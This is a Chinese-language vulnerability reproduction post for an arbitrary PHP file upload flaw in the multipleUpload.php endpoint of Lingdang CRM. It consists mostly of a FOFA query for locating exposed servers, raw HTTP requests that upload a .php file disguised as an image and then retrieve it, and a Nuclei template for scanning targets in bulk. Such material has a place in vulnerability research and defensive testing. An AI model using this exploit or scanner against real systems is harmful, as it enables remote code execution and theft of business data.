灵当CRM系统multipleUpload.php任意文件上传漏洞复现 批量poc

body="crmcommon/js/jquery/jquery-1.10.1.min.js" || (body="http://localhost:8088/crm/index.php" && body="ldcrm.base.js")

POST /crm/modules/Home/multipleUpload.php?myatt_id=1&myatt_moduel=1 HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Connection: closeContent-Length: 207Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqpvtioxyquthilrcAccept-Encoding: gzip------WebKitFormBoundaryqpvtioxyquthilrcContent-Disposition: form-data; name="file"; filename="kapke.php"Content-Type: image/png123456------WebKitFormBoundaryqpvtioxyquthilrc--

HTTP/1.1 200 OKConnection: closeContent-Type: text/htmlDate: Fri, 27 Sep 2024 02:16:50 GMTServer: Apache/2.4.10 (Win32) OpenSSL/0.9.8zb mod_fcgid/2.3.9Vary: Accept-EncodingX-Powered-By: PHP/5.4.33{"name":"kapke.php","path":"storage/2024/September/week4/","size":20,"record":"46"}

GET /crm/storage/2024/September/week4/kapke.php HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Connection: closeAccept-Encoding: gzip

HTTP/1.1 200 OKConnection: closeContent-Length: 40Content-Encoding: gzipContent-Type: text/htmlDate: Fri, 27 Sep 2024 02:16:50 GMTServer: Apache/2.4.10 (Win32) OpenSSL/0.9.8zb mod_fcgid/2.3.9Vary: Accept-EncodingX-Powered-By: PHP/5.4.33123456

id: lindang-crm-multipleUpload-fileuploadinfo:  name: 灵当CRM系统接口multipleUpload.php文件上传漏洞  author: fgz  severity: critical  description: 灵当CRM是上海灵当信息科技有限公司开发的一款CRM软件，适用于以销售和服务业务为主的中小型企业。产品功能集销售管理、机会管理、渠道管理、售后服务管理、热线管理、合同管理、收付款管理、库存管理、人事管理、绩效与奖金管理、报表中心、呼叫中心管理于一体，帮助中小型企业实现销售、服务、财务一体化管理。灵当CRM系统接口multipleUpload.php文件上传漏洞，允许攻击者上传恶意文件到服务器，可能导致远程代码执行、网站篡改或其他形式的攻击，严重威胁系统和数据安全。  metadata:    max-request: 1    fofa-query: body="crmcommon/js/jquery/jquery-1.10.1.min.js" || (body="http://localhost:8088/crm/index.php" && body="ldcrm.base.js")    verified: truevariables:  file_name: "{{to_lower(rand_text_alpha(8))}}"  file_content: "{{to_lower(rand_text_alpha(20))}}"  rboundary: "{{to_lower(rand_text_alpha(16))}}"requests:  - raw:      - |+        POST /crm/modules/Home/multipleUpload.php?myatt_id=1&myatt_moduel=1 HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}        ------WebKitFormBoundary{{rboundary}}        Content-Disposition: form-data; name="file"; filename="{{file_name}}.php"        Content-Type: image/png        {{file_content}}        ------WebKitFormBoundary{{rboundary}}--      - |        GET /crm/{{path}}{{file_name}}.php HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15        Accept-Encoding: gzip    extractors:      - type: json        part: body        name: path        json:          - '.path'        internal: true    matchers:      - type: dsl        dsl:          - "status_code_1 == 200 && status_code_2 == 200 && contains(body_2, '{{file_content}}')"